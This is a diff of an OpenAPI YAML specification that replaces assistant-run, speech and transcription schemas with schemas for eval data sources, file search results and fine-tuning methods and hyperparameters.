+ EvalStoredCompletionsDataSourceConfig:
+ type: object
+ title: StoredCompletionsDataSourceConfig
+ description: |
+ Deprecated in favor of LogsDataSourceConfig.
+ properties:
+ type:
type: string
- nullable: true
- additional_messages:
- description: Adds additional messages to the thread before creating the run.
- type: array
- items:
- $ref: '#/components/schemas/CreateMessageRequest'
- nullable: true
- tools:
- description: Override the tools the assistant can use for this run. This is useful for modifying the behavior on a per-run basis.
- nullable: true
- type: array
- maxItems: 20
- items:
- $ref: '#/components/schemas/AssistantTool'
+ enum:
+ - stored_completions
+ default: stored_completions
+ description: The type of data source. Always `stored_completions`.
+ x-stainless-const: true
metadata:
$ref: '#/components/schemas/Metadata'
- temperature:
- type: number
- minimum: 0
- maximum: 2
- default: 1
- example: 1
- nullable: true
- description: |
- What sampling temperature to use, between 0 and 2. Higher values like 0.8 will make the output more random, while lower values like 0.2 will make it more focused and deterministic.
- top_p:
- type: number
- minimum: 0
- maximum: 1
- default: 1
- example: 1
- nullable: true
- description: |
- An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered.
-
- We generally recommend altering this or temperature but not both.
- stream:
- type: boolean
- nullable: true
- description: |
- If `true`, returns a stream of events that happen during the Run as server-sent events, terminating when the Run enters a terminal state with a `data: [DONE]` message.
- max_prompt_tokens:
- type: integer
- nullable: true
- description: |
- The maximum number of prompt tokens that may be used over the course of the run. The run will make a best effort to use only the number of prompt tokens specified, across multiple turns of the run. If the run exceeds the number of prompt tokens specified, the run will end with status `incomplete`. See `incomplete_details` for more info.
- minimum: 256
- max_completion_tokens:
- type: integer
- nullable: true
+ schema:
+ type: object
description: |
- The maximum number of completion tokens that may be used over the course of the run. The run will make a best effort to use only the number of completion tokens specified, across multiple turns of the run. If the run exceeds the number of completion tokens specified, the run will end with status `incomplete`. See `incomplete_details` for more info.
- minimum: 256
- truncation_strategy:
- allOf:
- - $ref: '#/components/schemas/TruncationObject'
- - nullable: true
- tool_choice:
- allOf:
- - $ref: '#/components/schemas/AssistantsApiToolChoiceOption'
- - nullable: true
- parallel_tool_calls:
- $ref: '#/components/schemas/ParallelToolCalls'
- response_format:
- $ref: '#/components/schemas/AssistantsApiResponseFormatOption'
- nullable: true
+ The json schema for the run data source items.
+ Learn how to build JSON schemas [here](https://json-schema.org/).
+ additionalProperties: true
required:
- - assistant_id
- CreateSpeechRequest:
+ - type
+ - schema
+ deprecated: true
+ x-oaiMeta:
+ name: The stored completions data source object for evals
+ group: evals
+ example: |
+ {
+ "type": "stored_completions",
+ "metadata": {
+ "language": "english"
+ },
+ "schema": {
+ "type": "object",
+ "properties": {
+ "item": {
+ "type": "object"
+ },
+ "sample": {
+ "type": "object"
+ }
+ },
+ "required": [
+ "item",
+ "sample"
+ }
+ }
+ EvalStoredCompletionsSource:
type: object
- additionalProperties: false
+ title: StoredCompletionsRunDataSource
+ description: |
+ A StoredCompletionsRunDataSource configuration describing a set of filters
properties:
+ type:
+ type: string
+ enum:
+ - stored_completions
+ default: stored_completions
+ description: The type of source. Always `stored_completions`.
+ x-stainless-const: true
+ metadata:
+ $ref: '#/components/schemas/Metadata'
model:
- description: |
- One of the available [TTS models](https://developers.openai.com/api/docs/guides/text-to-speech): `tts-1`, `tts-1-hd`, `gpt-4o-mini-tts`, or `gpt-4o-mini-tts-2025-12-15`.
anyOf:
- type: string
- - type: string
- enum:
- - tts-1
- - tts-1-hd
- - gpt-4o-mini-tts
- - gpt-4o-mini-tts-2025-12-15
- x-stainless-nominal: false
- x-oaiTypeLabel: string
- input:
- type: string
- description: The text to generate audio for. The maximum length is 4096 characters.
- maxLength: 4096
- instructions:
- type: string
- description: Control the voice of your generated audio with additional instructions. Does not work with `tts-1` or `tts-1-hd`.
- maxLength: 4096
- voice:
- description: 'The voice to use when generating the audio. Supported built-in voices are `alloy`, `ash`, `ballad`, `coral`, `echo`, `fable`, `onyx`, `nova`, `sage`, `shimmer`, `verse`, `marin`, and `cedar`. You may also provide a custom voice object with an `id`, for example `{ "id": "voice_1234" }`. Previews of the voices are available in the [Text to speech guide](https://developers.openai.com/api/docs/guides/text-to-speech#voice-options).'
- $ref: '#/components/schemas/VoiceIdsOrCustomVoice'
- response_format:
- description: The format to audio in. Supported formats are `mp3`, `opus`, `aac`, `flac`, `wav`, and `pcm`.
- default: mp3
- type: string
- enum:
- - mp3
- - opus
- - aac
- - flac
- - wav
- - pcm
- speed:
- description: The speed of the generated audio. Select a value from `0.25` to `4.0`. `1.0` is the default.
- type: number
- default: 1
- minimum: 0.25
- maximum: 4
- stream_format:
- description: The format to stream the audio in. Supported formats are `sse` and `audio`. `sse` is not supported for `tts-1` or `tts-1-hd`.
- type: string
- default: audio
- enum:
- - sse
- - audio
+ description: An optional model to filter by (e.g., 'gpt-6-astra').
+ - type: 'null'
+ created_after:
+ anyOf:
+ - type: integer
+ description: An optional Unix timestamp to filter items created after this time.
+ - type: 'null'
+ created_before:
+ anyOf:
+ - type: integer
+ description: An optional Unix timestamp to filter items created before this time.
+ - type: 'null'
+ limit:
+ anyOf:
+ - type: integer
+ description: An optional maximum number of items to return.
+ - type: 'null'
required:
- - model
- - input
- - voice
- CreateSpeechResponseStreamEvent:
- anyOf:
- - $ref: '#/components/schemas/SpeechAudioDeltaEvent'
- - $ref: '#/components/schemas/SpeechAudioDoneEvent'
- discriminator:
- propertyName: type
- CreateSpendAlertBody:
+ - type
+ x-oaiMeta:
+ name: The stored completions data source object used to configure an individual run
+ group: eval runs
+ example: |
+ {
+ "type": "stored_completions",
+ "model": "gpt-6-astra",
+ "created_after": 1668124800,
+ "created_before": 1668124900,
+ "limit": 100,
+ "metadata": {}
+ }
+ FileExpirationAfter:
type: object
- description: Parameters for creating or updating a spend alert.
+ title: File expiration policy
+ description: The expiration policy for a file. By default, files with `purpose=batch` expire after 30 days and all other files are persisted until they are manually deleted.
properties:
- threshold_amount:
- type: integer
- minimum: 0
- description: The alert threshold amount, in cents.
- currency:
- type: string
- enum:
- - USD
- description: The currency for the threshold amount.
- interval:
+ anchor:
+ description: 'Anchor timestamp after which the expiration policy applies. Supported anchors: `created_at`.'
type: string
enum:
- - month
- description: The time interval for evaluating spend against the threshold.
- notification_channel:
- $ref: '#/components/schemas/SpendAlertNotificationChannel'
+ - created_at
+ x-stainless-const: true
+ seconds:
+ description: The number of seconds after the anchor time that the file will expire. Must be between 3600 (1 hour) and 2592000 (30 days).
+ type: integer
+ format: int64
+ minimum: 3600
+ maximum: 2592000
required:
- - threshold_amount
- - currency
- - interval
- - notification_channel
- CreateThreadAndRunRequest:
+ - anchor
+ - seconds
+ FilePath:
type: object
- additionalProperties: false
+ title: File path
+ description: |
+ A path to a file.
properties:
- assistant_id:
- description: The ID of the [assistant](https://developers.openai.com/api/docs/assistants/migration) to use to execute this run.
+ type:
type: string
- thread:
- $ref: '#/components/schemas/CreateThreadRequest'
- model:
- description: The ID of the [Model](https://developers.openai.com/api/reference/resources/models) to be used to execute this run. If a value is provided here, it will override the model associated with the assistant. If not, the model associated with the assistant will be used.
- nullable: true
- anyOf:
- - type: string
- - type: string
- enum:
- - gpt-5
- - gpt-5-mini
- - gpt-5-nano
- - gpt-5-2025-08-07
- - gpt-5-mini-2025-08-07
- - gpt-5-nano-2025-08-07
- - gpt-4.1
- - gpt-4.1-mini
- - gpt-4.1-nano
- - gpt-4.1-2025-04-14
- - gpt-4.1-mini-2025-04-14
- - gpt-4.1-nano-2025-04-14
- - gpt-4o
- - gpt-4o-2024-11-20
- - gpt-4o-2024-08-06
- - gpt-4o-2024-05-13
- - gpt-4o-mini
- - gpt-4o-mini-2024-07-18
- - gpt-4.5-preview
- - gpt-4.5-preview-2025-02-27
- - gpt-4-turbo
- - gpt-4-turbo-2024-04-09
- - gpt-4-0125-preview
- - gpt-4-turbo-preview
- - gpt-4-1106-preview
- - gpt-4-vision-preview
- - gpt-4
- - gpt-4-0314
- - gpt-4-0613
- - gpt-4-32k
- - gpt-4-32k-0314
- - gpt-4-32k-0613
- - gpt-3.5-turbo
- - gpt-3.5-turbo-16k
- - gpt-3.5-turbo-0613
- - gpt-3.5-turbo-1106
- - gpt-3.5-turbo-0125
- - gpt-3.5-turbo-16k-0613
- x-oaiTypeLabel: string
- instructions:
- description: Override the default system message of the assistant. This is useful for modifying the behavior on a per-run basis.
+ description: |
+ The type of the file path. Always `file_path`.
+ enum:
+ - file_path
+ x-stainless-const: true
+ file_id:
type: string
- nullable: true
- tools:
- description: Override the tools the assistant can use for this run. This is useful for modifying the behavior on a per-run basis.
- nullable: true
- type: array
- maxItems: 20
- items:
- $ref: '#/components/schemas/AssistantTool'
- tool_resources:
- type: object
description: |
- A set of resources that are used by the assistant's tools. The resources are specific to the type of tool. For example, the `code_interpreter` tool requires a list of file IDs, while the `file_search` tool requires a list of vector store IDs.
- properties:
- code_interpreter:
- type: object
- properties:
- file_ids:
- type: array
- description: |
- A list of [file](https://developers.openai.com/api/reference/resources/files) IDs made available to the `code_interpreter` tool. There can be a maximum of 20 files associated with the tool.
- default: []
- maxItems: 20
- items:
- type: string
- file_search:
- type: object
- properties:
- vector_store_ids:
- type: array
- description: |
- The ID of the [vector store](https://developers.openai.com/api/reference/resources/vector_stores) attached to this assistant. There can be a maximum of 1 vector store attached to the assistant.
- maxItems: 1
- items:
- type: string
- nullable: true
- metadata:
- $ref: '#/components/schemas/Metadata'
- temperature:
- type: number
- minimum: 0
- maximum: 2
- default: 1
- example: 1
- nullable: true
+ The ID of the file.
+ index:
+ type: integer
description: |
- What sampling temperature to use, between 0 and 2. Higher values like 0.8 will make the output more random, while lower values like 0.2 will make it more focused and deterministic.
- top_p:
+ The index of the file in the list of files.
+ required:
+ - type
+ - file_id
+ - index
+ FileSearchRanker:
+ type: string
+ description: The ranker to use for the file search. If not specified will use the `auto` ranker.
+ enum:
+ - auto
+ - default_2024_08_21
+ FileSearchRankingOptions:
+ title: File search tool call ranking options
+ type: object
+ description: |
+ The ranking options for the file search. If not specified, the file search tool will use the `auto` ranker and a score_threshold of 0.
+
+ See the [file search tool documentation](https://developers.openai.com/api/docs/guides/tools-file-search#retrieval-customization) for more information.
+ properties:
+ ranker:
+ $ref: '#/components/schemas/FileSearchRanker'
+ score_threshold:
type: number
+ description: The score threshold for the file search. All values must be a floating point number between 0 and 1.
minimum: 0
maximum: 1
- default: 1
- example: 1
- nullable: true
- description: |
- An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered.
-
- We generally recommend altering this or temperature but not both.
- stream:
- type: boolean
- nullable: true
- description: |
- If `true`, returns a stream of events that happen during the Run as server-sent events, terminating when the Run enters a terminal state with a `data: [DONE]` message.
- max_prompt_tokens:
- type: integer
- nullable: true
- description: |
- The maximum number of prompt tokens that may be used over the course of the run. The run will make a best effort to use only the number of prompt tokens specified, across multiple turns of the run. If the run exceeds the number of prompt tokens specified, the run will end with status `incomplete`. See `incomplete_details` for more info.
- minimum: 256
- max_completion_tokens:
- type: integer
- nullable: true
- description: |
- The maximum number of completion tokens that may be used over the course of the run. The run will make a best effort to use only the number of completion tokens specified, across multiple turns of the run. If the run exceeds the number of completion tokens specified, the run will end with status `incomplete`. See `incomplete_details` for more info.
- minimum: 256
- truncation_strategy:
- allOf:
- - $ref: '#/components/schemas/TruncationObject'
- - nullable: true
- tool_choice:
- allOf:
- - $ref: '#/components/schemas/AssistantsApiToolChoiceOption'
- - nullable: true
- parallel_tool_calls:
- $ref: '#/components/schemas/ParallelToolCalls'
- response_format:
- $ref: '#/components/schemas/AssistantsApiResponseFormatOption'
- nullable: true
required:
- - assistant_id
- CreateThreadRequest:
+ - score_threshold
+ FileSearchToolCall:
type: object
+ title: File search tool call
description: |
- Options to create a new thread. If no thread is provided when running a
- request, an empty thread will be created.
- additionalProperties: false
+ The results of a file search tool call. See the
+ [file search guide](https://developers.openai.com/api/docs/guides/tools-file-search) for more information.
properties:
- messages:
- description: A list of [messages](https://developers.openai.com/api/docs/assistants/migration) to start the thread with.
+ id:
+ type: string
+ description: |
+ The unique ID of the file search tool call.
+ type:
+ type: string
+ enum:
+ - file_search_call
+ description: |
+ The type of the file search tool call. Always `file_search_call`.
+ x-stainless-const: true
+ status:
+ type: string
+ description: |
+ The status of the file search tool call. One of `in_progress`,
+ `searching`, `incomplete` or `failed`,
+ enum:
+ - in_progress
+ - searching
+ - completed
+ - incomplete
+ - failed
+ queries:
type: array
items:
- $ref: '#/components/schemas/CreateMessageRequest'
- tool_resources:
+ type: string
+ description: |
+ The queries used to search for files.
+ results:
anyOf:
- - type: object
+ - type: array
description: |
- A set of resources that are made available to the assistant's tools in this thread. The resources are specific to the type of tool. For example, the `code_interpreter` tool requires a list of file IDs, while the `file_search` tool requires a list of vector store IDs.
- properties:
- code_interpreter:
- type: object
- properties:
- file_ids:
- type: array
- description: |
- A list of [file](https://developers.openai.com/api/reference/resources/files) IDs made available to the `code_interpreter` tool. There can be a maximum of 20 files associated with the tool.
- default: []
- maxItems: 20
- items:
- type: string
- file_search:
- type: object
- properties:
- vector_store_ids:
- type: array
- description: |
- The [vector store](https://developers.openai.com/api/reference/resources/vector_stores) attached to this thread. There can be a maximum of 1 vector store attached to the thread.
- maxItems: 1
- items:
- type: string
- vector_stores:
- type: array
- description: |
- A helper to create a [vector store](https://developers.openai.com/api/reference/resources/vector_stores) with file_ids and attach it to this thread. There can be a maximum of 1 vector store attached to the thread.
- maxItems: 1
- items:
- type: object
- properties:
- file_ids:
- type: array
- description: |
- A list of [file](https://developers.openai.com/api/reference/resources/files) IDs to add to the vector store. For vector stores created before Nov 2025, there can be a maximum of 10,000 files in a vector store. For vector stores created starting in Nov 2025, the limit is 100,000,000 files.
- maxItems: 100000000
- items:
- type: string
- chunking_strategy:
- type: object
- description: The chunking strategy used to chunk the file(s). If not set, will use the `auto` strategy.
- anyOf:
- - type: object
- title: Auto Chunking Strategy
- description: The default strategy. This strategy currently uses a `max_chunk_size_tokens` of `800` and `chunk_overlap_tokens` of `400`.
- additionalProperties: false
- properties:
- type:
- type: string
- description: Always `auto`.
- enum:
- - auto
- x-stainless-const: true
- required:
- - type
- - type: object
- title: Static Chunking Strategy
- additionalProperties: false
- properties:
- type:
- type: string
- description: Always `static`.
- enum:
- - static
- x-stainless-const: true
- static:
- type: object
- additionalProperties: false
- properties:
- max_chunk_size_tokens:
- type: integer
- minimum: 100
- maximum: 4096
- description: The maximum number of tokens in each chunk. The default value is `800`. The minimum value is `100` and the maximum value is `4096`.
- chunk_overlap_tokens:
- type: integer
- description: |
- The number of tokens that overlap between chunks. The default value is `400`.
-
- Note that the overlap must not exceed half of `max_chunk_size_tokens`.
- required:
- - max_chunk_size_tokens
- - chunk_overlap_tokens
- required:
- - type
- - static
- discriminator:
- propertyName: type
- metadata:
- $ref: '#/components/schemas/Metadata'
- anyOf:
- - required:
- - vector_store_ids
- - required:
- - vector_stores
+ The results of the file search tool call.
+ items:
+ type: object
+ properties:
+ file_id:
+ type: string
+ description: |
+ The unique ID of the file.
+ text:
+ type: string
+ description: |
+ The text that was retrieved from the file.
+ filename:
+ type: string
+ description: |
+ The name of the file.
+ attributes:
+ $ref: '#/components/schemas/VectorStoreFileAttributes'
+ score:
+ type: number
+ format: float
+ description: |
+ The relevance score of the file - a value between 0 and 1.
- type: 'null'
- metadata:
- $ref: '#/components/schemas/Metadata'
- CreateTranscriptionRequest:
+ required:
+ - id
+ - type
+ - status
+ - queries
+ FineTuneChatCompletionRequestAssistantMessage:
+ allOf:
+ - type: object
+ title: Assistant message
+ deprecated: false
+ properties:
+ weight:
+ type: integer
+ enum:
+ - 0
+ - 1
+ description: Controls whether the assistant message is trained against (0 or 1)
+ - $ref: '#/components/schemas/ChatCompletionRequestAssistantMessage'
+ required:
+ - role
+ FineTuneDPOHyperparameters:
type: object
- additionalProperties: false
+ description: The hyperparameters used for the DPO fine-tuning job.
properties:
- file:
+ beta:
description: |
- The audio file object (not file name) to transcribe, in one of these formats: flac, mp3, mp4, mpeg, mpga, m4a, ogg, wav, or webm.
- The request must include enough format metadata for the file to be identified. We recommend an extension-bearing filename and an appropriate content type.
- type: string
- x-oaiTypeLabel: file
- format: binary
- x-oaiMeta:
- exampleFilePath: speech.mp3
- model:
+ The beta value for the DPO method. A higher beta value will increase the weight of the penalty between the policy and reference model.
+ anyOf:
+ - type: string
+ enum:
+ - auto
+ x-stainless-const: true
+ - type: number
+ minimum: 0
+ maximum: 2
+ exclusiveMinimum: true
+ batch_size:
description: |
- ID of the model to use. The options are `gpt-transcribe`, `gpt-4o-transcribe`, `gpt-4o-mini-transcribe`, `gpt-4o-mini-transcribe-2025-12-15`, `whisper-1` (which is powered by our open source Whisper V2 model), and `gpt-4o-transcribe-diarize`.
- example: gpt-4o-transcribe
+ Number of examples in each batch. A larger batch size means that model parameters are updated less frequently, but with lower variance.
+ default: auto
anyOf:
- type: string
+ enum:
+ - auto
+ x-stainless-const: true
+ - type: integer
+ minimum: 1
+ maximum: 256
+ learning_rate_multiplier:
+ description: |
+ Scaling factor for the learning rate. A smaller learning rate may be useful to avoid overfitting.
+ anyOf:
- type: string
enum:
- - whisper-1
- - gpt-transcribe
- - gpt-4o-transcribe
- - gpt-4o-mini-transcribe
- - gpt-4o-mini-transcribe-2025-12-15
- - gpt-4o-transcribe-diarize
+ - auto
x-stainless-const: true
- x-stainless-nominal: false
- x-oaiTypeLabel: string
- language:
+ - type: number
+ minimum: 0
+ exclusiveMinimum: true
+ n_epochs:
description: |
- The language of the input audio. Supplying the input language in [ISO-639-1](https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes) (e.g. `en`) format will improve accuracy and latency.
+ The number of epochs to train the model for. An epoch refers to one full cycle through the training dataset.
+ default: auto
+ anyOf:
+ - type: string
+ enum:
+ - auto
+ x-stainless-const: true
+ - type: integer
+ minimum: 1
+ maximum: 50
+ FineTuneDPOMethod:
+ type: object
+ description: Configuration for the DPO fine-tuning method.
+ properties:
+ hyperparameters:
+ $ref: '#/components/schemas/FineTuneDPOHyperparameters'
+ FineTuneMethod:
+ type: object
+ description: The method used for fine-tuning.
+ properties:
+ type:
type: string
- languages:
+ description: The type of method. Is either `supervised`, `dpo`, or `reinforcement`.
+ enum:
+ - supervised
+ - dpo
+ - reinforcement
+ supervised:
+ $ref: '#/components/schemas/FineTuneSupervisedMethod'
+ dpo:
+ $ref: '#/components/schemas/FineTuneDPOMethod'
+ reinforcement:
+ $ref: '#/components/schemas/FineTuneReinforcementMethod'
+ required:
+ - type
+ FineTuneReinforcementHyperparameters:
+ type: object
+ description: The hyperparameters used for the reinforcement fine-tuning job.
+ properties:
+ batch_size:
description: |
- Possible languages of the input audio, in [ISO-639-1](https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes) format. Supported by `gpt-transcribe`.
- type: array
- minItems: 1
- items:
- type: string
- keywords:
+ Number of examples in each batch. A larger batch size means that model parameters are updated less frequently, but with lower variance.
+ default: auto
+ anyOf:
+ - type: string
+ enum:
+ - auto
+ x-stainless-const: true
+ - type: integer
+ minimum: 1
+ maximum: 256
+ learning_rate_multiplier:
description: |
- Words or phrases to guide transcription of the input audio. Supported by `gpt-transcribe`.
- type: array
- items:
- type: string
- prompt:
+ Scaling factor for the learning rate. A smaller learning rate may be useful to avoid overfitting.
+ anyOf:
+ - type: string
+ enum:
+ - auto
+ x-stainless-const: true
+ - type: number
+ minimum: 0
+ exclusiveMinimum: true
+ n_epochs:
description: |
- An optional text to guide the model's style or continue a previous audio segment. The [prompt](https://developers.openai.com/api/docs/guides/speech-to-text#prompting) should match the audio language. This field is not supported when using `gpt-4o-transcribe-diarize`.
+ The number of epochs to train the model for. An epoch refers to one full cycle through the training dataset.
+ default: auto
+ anyOf:
+ - type: string
+ enum:
+ - auto
+ x-stainless-const: true
+ - type: integer
+ minimum: 1
+ maximum: 50
+ reasoning_effort:
+ description: |
+ Level of reasoning effort.
type: string
- response_format:
- $ref: '#/components/schemas/AudioResponseFormat'
- temperature:
+ enum:
+ - default
+ - low
+ - medium
+ - high
+ default: default
+ compute_multiplier:
description: |
- The sampling temperature, between 0 and 1. Higher values like 0.8 will make the output more random, while lower values like 0.2 will make it more focused and deterministic. If set to 0, the model will use [log probability](https://en.wikipedia.org/wiki/Log_probability) to automatically increase the temperature until certain thresholds are hit.
- type: number
- default: 0
- include:
+ Multiplier on amount of compute used for exploring search space during training.
+ anyOf:
+ - type: string
+ enum:
+ - auto
+ x-stainless-const: true
+ - type: number
+ minimum: 0.00001
+ maximum: 10
+ exclusiveMinimum: true
+ eval_interval:
description: |
- Additional information to include in the transcription response.
- `logprobs` will return the log probabilities of the tokens in the
- response to understand the model's confidence in the transcription.
- `logprobs` only works with response_format set to `json` and only with
- the models `gpt-4o-transcribe`, `gpt-4o-mini-transcribe`, and `gpt-4o-mini-transcribe-2025-12-15`. This field is not supported when using `gpt-4o-transcribe-diarize`.
- type: array
- items:
- $ref: '#/components/schemas/TranscriptionInclude'
- timestamp_granularities:
+ The number of training steps between evaluation runs.
+ default: auto
+ anyOf:
+ - type: string
+ enum:
+ - auto
+ x-stainless-const: true
+ - type: integer
+ minimum: 1
+ eval_samples:
description: |
- The timestamp granularities to populate for this transcription. `response_format` must be set `verbose_json` to use timestamp granularities. Either or both of these options are supported: `word`, or `segment`. Note: There is no additional latency for segment timestamps, but generating word timestamps incurs additional latency.
- This option is not available for `gpt-4o-transcribe-diarize`.
- type: array
- items:
- type: string
+ Number of evaluation samples to generate per training step.
+ default: auto
+ anyOf:
+ - type: string
enum:
- - word
- - segment
- default:
- - segment
- stream:
+ - auto
+ x-stainless-const: true
+ - type: integer
+ minimum: 1
+ FineTuneReinforcementMethod:
+ type: object
+ description: Configuration for the reinforcement fine-tuning method.
+ properties:
+ grader:
+ type: object
+ description: The grader used for the fine-tuning job.
anyOf:
- - description: |
- If set to true, the model response data will be streamed to the client
- as it is generated using [server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
- See the [Streaming section of the Speech-to-Text guide](https://developers.openai.com/api/docs/guides/speech-to-text?lang=curl#streaming)
- for more information.
-
- Note: Streaming is not supported for the `whisper-1` model and will be ignored.
- type: boolean
- default: false
- - type: 'null'
- chunking_strategy:
- $ref: '#/components/schemas/TranscriptionChunkingStrategy'
- known_speaker_names:
+ - $ref: '#/components/schemas/GraderStringCheck'
+ - $ref: '#/components/schemas/GraderTextSimilarity'
+ - $ref: '#/components/schemas/GraderPython'
+ - $ref: '#/components/schemas/GraderScoreModel'
+ - $ref: '#/components/schemas/GraderMulti'
+ hyperparameters:
+ $ref: '#/components/schemas/FineTuneReinforcementHyperparameters'
+ required:
+ - grader
+ FineTuneSupervisedHyperparameters:
+ type: object
+ description: The hyperparameters used for the fine-tuning job.
+ properties:
+ batch_size:
description: |
- Optional list of speaker names that correspond to the audio samples provided in `known_speaker_references[]`. Each entry should be a short identifier (for example `customer` or `agent`). Up to 4 speakers are supported.
- type: array
- maxItems: 4
- items:
- type: string
- known_speaker_references:
+ Number of examples in each batch. A larger batch size means that model parameters are updated less frequently, but with lower variance.
+ default: auto
+ anyOf:
+ - type: string
+ enum:
+ - auto
+ x-stainless-const: true
+ - type: integer
+ minimum: 1
+ maximum: 256
+ learning_rate_multiplier:
description: |
- Optional list of audio samples (as [data URLs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URLs)) that contain known speaker references matching `known_speaker_names[]`. Each sample must be between 2 and 10 seconds, and can use any of the same input audio formats supported by `file`.
- type: array
- maxItems: 4
- items:
- type: string
- required:
- - file
- - model
- CreateTranscriptionResponseDiarizedJson:
+ Scaling factor for the learning rate. A smaller learning rate may be useful to avoid overfitting.
+ anyOf:
+ - type: string
+ enum:
+ - auto
+ x-stainless-const: true
+ - type: number
+ minimum: 0
+ exclusiveMinimum: true
+ n_epochs:
+ description: |
+ The number of epochs to train the model for. An epoch refers to one full cycle through the training dataset.
+ default: auto
+ anyOf:
+ - type: string
+ enum:
+ - auto
+ x-stainless-const: true
+ - type: integer
+ minimum: 1
+ maximum: 50
+ FineTuneSupervisedMethod:
type: object
+ description: Configuration for the supervised fine-tuning method.
+ properties:
+ hyperparameters:
+ $ref: '#/components/schemas/FineTuneSupervisedHyperparameters'
+ FineTuningCheckpointPermission:
+ type: object
+ title: FineTuningCheckpointPermission
description: |
- Represents a diarized transcription response returned by the model, including the combined transcript and speaker-segment annotations.
+ The `checkpoint.permission` object represents a permission for a fine-tuned model checkpoint.
properties:
- task:
+ id:
type: string
- description: The type of task that was run. Always `transcribe`.
+ description: The permission identifier, which can be referenced in the API endpoints.
+ created_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) for when the permission was created.
+ project_id:
+ type: string
+ description: The project identifier that the permission is for.
+ object:
+ type: string
+ description: The object type, which is always "checkpoint.permission".
enum:
- - transcribe
+ - checkpoint.permission
x-stainless-const: true
- duration:
- type: number
- format: double
- description: Duration of the input audio in seconds.
- text:
- type: string
- description: The concatenated transcript text for the entire audio input.
- segments:
- type: array
- description: Segments of the transcript annotated with timestamps and speaker labels.
- items:
- $ref: '#/components/schemas/TranscriptionDiarizedSegment'
- usage:
- type: object
- description: Token or duration usage statistics for the request.
- discriminator:
- propertyName: type
- anyOf:
- - $ref: '#/components/schemas/TranscriptTextUsageTokens'
- title: Token Usage
- - $ref: '#/components/schemas/TranscriptTextUsageDuration'
- title: Duration Usage
required:
- - task
- - duration
- - text
- - segments
+ - created_at
+ - id
+ - object
+ - project_id
x-oaiMeta:
- name: The transcription object (Diarized JSON)
- group: audio
+ name: The fine-tuned model checkpoint permission object
example: |
{
- "task": "transcribe",
- "duration": 42.7,
- "text": "Agent: Thanks for calling OpenAI support.\nCustomer: Hi, I need help with diarization.",
- "segments": [
- {
- "type": "transcript.text.segment",
- "id": "seg_001",
- "start": 0.0,
- "end": 5.2,
- "text": "Thanks for calling OpenAI support.",
- "speaker": "agent"
- },
- {
- "type": "transcript.text.segment",
- "id": "seg_002",
- "start": 5.2,
- "end": 12.8,
- "text": "Hi, I need help with diarization.",
- "speaker": "A"
- }
- ],
- "usage": {
- "type": "duration",
- "seconds": 43
- }
+ "object": "checkpoint.permission",
+ "id": "cp_zc4Q7MP6XxulcVzj4MZdwsAB",
+ "created_at": 1712211699,
+ "project_id": "proj_abGMw1llN8IrBb6SvvY5A1iH"
}
- CreateTranscriptionResponseJson:
+ FineTuningIntegration:
type: object
- description: Represents a transcription response returned by model, based on the provided input.
+ title: Fine-Tuning Job Integration
+ required:
+ - type
+ - wandb
properties:
- text:
+ type:
type: string
- description: The transcribed text.
- languages:
- type: array
- description: |
- The languages detected in the audio. Returned by `gpt-transcribe`. An empty array indicates that no language could be reliably detected.
- items:
- $ref: '#/components/schemas/TranscriptionLanguage'
- logprobs:
- type: array
- optional: true
+ description: The type of the integration being enabled for the fine-tuning job
+ enum:
+ - wandb
+ x-stainless-const: true
+ wandb:
+ type: object
description: |
- The log probabilities of the tokens in the transcription. Only returned with the models `gpt-4o-transcribe` and `gpt-4o-mini-transcribe` if `logprobs` is added to the `include` array.
- items:
- type: object
- properties:
- token:
+ The settings for your integration with Weights and Biases. This payload specifies the project that
+ metrics will be sent to. Optionally, you can set an explicit display name for your run, add tags
+ to your run, and set a default entity (team, username, etc) to be associated with your run.
+ required:
+ - project
+ properties:
+ project:
+ description: |
+ The name of the project that the new run will be created under.
+ type: string
+ example: my-wandb-project
+ name:
+ anyOf:
+ - description: |
+ A display name to set for the run. If not set, we will use the Job ID as the name.
type: string
- description: The token in the transcription.
- logprob:
- type: number
- description: The log probability of the token.
- bytes:
- type: array
- items:
- type: number
- description: The bytes of the token.
- usage:
- type: object
- description: Token usage statistics for the request.
- anyOf:
- - $ref: '#/components/schemas/TranscriptTextUsageTokens'
- title: Token Usage
- - $ref: '#/components/schemas/TranscriptTextUsageDuration'
- title: Duration Usage
- discriminator:
- propertyName: type
- required:
- - text
- x-oaiMeta:
- name: The transcription object (JSON)
- group: audio
- example: |
- {
- "text": "Imagine the wildest idea that you've ever had, and you're curious about how it might scale to something that's a 100, a 1,000 times bigger. This is a place where you can get to do that.",
- "usage": {
- "type": "tokens",
- "input_tokens": 14,
- "input_token_details": {
- "text_tokens": 10,
- "audio_tokens": 4
- },
- "output_tokens": 101,
- "total_tokens": 115
- }
- }
- CreateTranscriptionResponseStreamEvent:
- anyOf:
- - $ref: '#/components/schemas/TranscriptTextSegmentEvent'
- - $ref: '#/components/schemas/TranscriptTextDeltaEvent'
- - $ref: '#/components/schemas/TranscriptTextDoneEvent'
- discriminator:
- propertyName: type
- CreateTranscriptionResponseVerboseJson:
+ - type: 'null'
+ entity:
+ anyOf:
+ - description: |
+ The entity to use for the run. This allows you to set the team or username of the WandB user that you would
+ like associated with the run. If not set, the default entity for the registered WandB API key is used.
+ type: string
+ - type: 'null'
+ tags:
+ description: |
+ A list of tags to be attached to the newly created run. These tags are passed through directly to WandB. Some
+ default tags are generated by OpenAI: "openai/finetune", "openai/{base-model}", "openai/{ftjob-abcdef}".
+ type: array
+ items:
+ type: string
+ example: custom-tag
+ FineTuningJob:
type: object
- description: Represents a verbose json transcription response returned by model, based on the provided input.
+ title: FineTuningJob
+ description: |
+ The `fine_tuning.job` object represents a fine-tuning job that has been created through the API.
properties:
- language:
+ id:
+ type: string
+ description: The object identifier, which can be referenced in the API endpoints.
+ created_at:
+ type: integer
+ format: unixtime
+ description: The Unix timestamp (in seconds) for when the fine-tuning job was created.
+ error:
+ anyOf:
+ - type: object
+ description: For fine-tuning jobs that have `failed`, this will contain more information on the cause of the failure.
+ properties:
